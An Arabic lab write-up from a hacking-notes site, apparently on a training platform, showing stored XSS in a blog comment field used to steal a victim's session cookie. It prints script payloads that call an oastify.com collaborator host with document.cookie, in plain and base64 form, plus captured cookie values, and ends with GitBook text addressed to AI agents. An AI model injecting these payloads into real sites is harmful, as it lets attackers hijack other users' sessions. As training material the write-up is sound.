> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/cookie-theft-via-xss.md).

# سرقة الكوكيز عبر XSS

### استغلال البرمجة النصية عبر المواقع لسرقة ملفات تعريف الارتباط

يحتوي المختبر على ثغرة XSS مخزنة في دالة تعليقات المدونة. يقوم مستخدم ضحية بالاطلاع على التعليقات بعد النشر. الهدف التعليمي هو فهم كيف يمكن لحقن من جهة العميل أن يؤدي إلى تسريب معلومات الجلسة وكيفية حمايتها.

لا يطبق حقل التعليق ترميزًا أو تهريبًا كافيًا لمدخلات المستخدم، مما يسمح للمتصفح بحقن المحتوى عندما يعرض مستخدم آخر الصفحة.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/0db6198bec9dd056ec1ee3f0a7bf0a1d1ecf124f" alt="" width="527"><figcaption></figcaption></figure>

نستخدم `fetch` لإرسال الطلبات:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

يصل الطلب إلى البنية التحتية المستمعة.

<figure><img src="/files/0eaff79f1237d685bddd5e7359ce8542845bf8cb" alt=""><figcaption></figcaption></figure>

نرسل ملف تعريف ارتباط الجلسة:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/2bb1cf23b2c8b02551b1a9cc305c091e789b5678" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

ثم نستبدل ملف تعريف ارتباط الجلسة.

<figure><img src="/files/5908f9b7a5cc94b7abea5ea5d971ca3c0c545f65" alt=""><figcaption></figcaption></figure>

يمكنك أيضًا ترميز المحتوى بصيغة base64 قبل الإرسال:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
